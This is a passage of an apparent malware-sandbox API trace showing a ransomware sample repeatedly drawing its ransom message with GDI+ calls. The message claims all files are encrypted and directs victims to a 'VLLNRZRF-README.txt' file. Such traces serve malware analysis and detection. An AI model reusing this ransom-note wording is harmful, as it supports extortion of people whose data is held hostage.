(graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.732] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.732] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.732] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.732] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220dd68) returned 0x0 [0159.732] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.732] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.732] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.732] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.733] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.733] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.733] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220dde0) returned 0x0 [0159.733] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.733] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.733] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.733] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.734] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.734] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.734] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220de58) returned 0x0 [0159.734] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.734] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.734] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.734] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.735] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.735] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.735] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ded0) returned 0x0 [0159.735] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.735] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.735] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.735] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.736] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.736] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.736] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220df48) returned 0x0 [0159.736] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.736] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.736] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.736] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.737] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.737] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.737] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220dfc0) returned 0x0 [0159.737] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.737] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.737] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.737] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.738] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.738] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.738] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e038) returned 0x0 [0159.738] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.738] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.738] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.738] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.739] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.739] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.739] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e0b0) returned 0x0 [0159.739] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.739] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.739] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.739] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.739] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.740] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.740] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e128) returned 0x0 [0159.740] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.740] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.740] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.740] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.740] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.741] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.741] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e1a0) returned 0x0 [0159.741] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.741] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.741] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.741] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.741] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.742] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.742] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e218) returned 0x0 [0159.742] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.742] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.742] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.743] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.743] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.743] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.743] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e290) returned 0x0 [0159.743] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.743] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.743] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.743] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.744] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.744] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.744] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e308) returned 0x0 [0159.744] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.744] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.744] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.744] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.745] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.745] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.745] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e380) returned 0x0 [0159.745] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.745] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.745] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.745] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.745] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.746] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.746] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e3f8) returned 0x0 [0159.746] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.746] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.746] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.747] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.747] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.747] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.747] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e470) returned 0x0 [0159.747] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.747] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.747] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.748] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.748] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.748] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.748] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e4e8) returned 0x0 [0159.748] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.748] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.748] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.749] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.749] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.749] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.749] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e560) returned 0x0 [0159.749] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.749] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.749] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.750] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.750] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.750] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.750] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e5d8) returned 0x0 [0159.750] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.750] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.750] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.751] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.751] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.751] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.751] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e650) returned 0x0 [0159.751] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.751] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.751] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.752] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.752] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.752] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.752] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e6c8) returned 0x0 [0159.752] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.752] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.752] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.753] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.753] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.753] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.753] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e740) returned 0x0 [0159.753] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.753] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.753] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.754] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.754] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.754] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.754] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e7b8) returned 0x0 [0159.754] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.754] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.754] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.755] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.755] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.755] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.755] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e830) returned 0x0 [0159.755] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.755] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.755] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.756] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.756] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.756] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.756] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e8a8) returned 0x0 [0159.756] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.756] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.756] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.757] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.757] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.757] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.757] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e920) returned 0x0 [0159.757] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.757] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.757] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.758] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.758] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.758] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.758] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220e998) returned 0x0 [0159.758] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.758] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.758] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.759] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.759] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.759] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.759] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ea10) returned 0x0 [0159.759] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.759] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.759] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.760] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.760] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.760] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.760] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ea88) returned 0x0 [0159.760] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.760] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.760] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.761] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.761] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.761] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.761] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220eb00) returned 0x0 [0159.761] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.761] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.761] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.762] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.762] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.762] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.762] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220eb78) returned 0x0 [0159.762] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.762] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.762] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.763] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.763] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.763] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.763] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ebf0) returned 0x0 [0159.763] GdipSetStringFormatAlign (format=0x1bdca310, 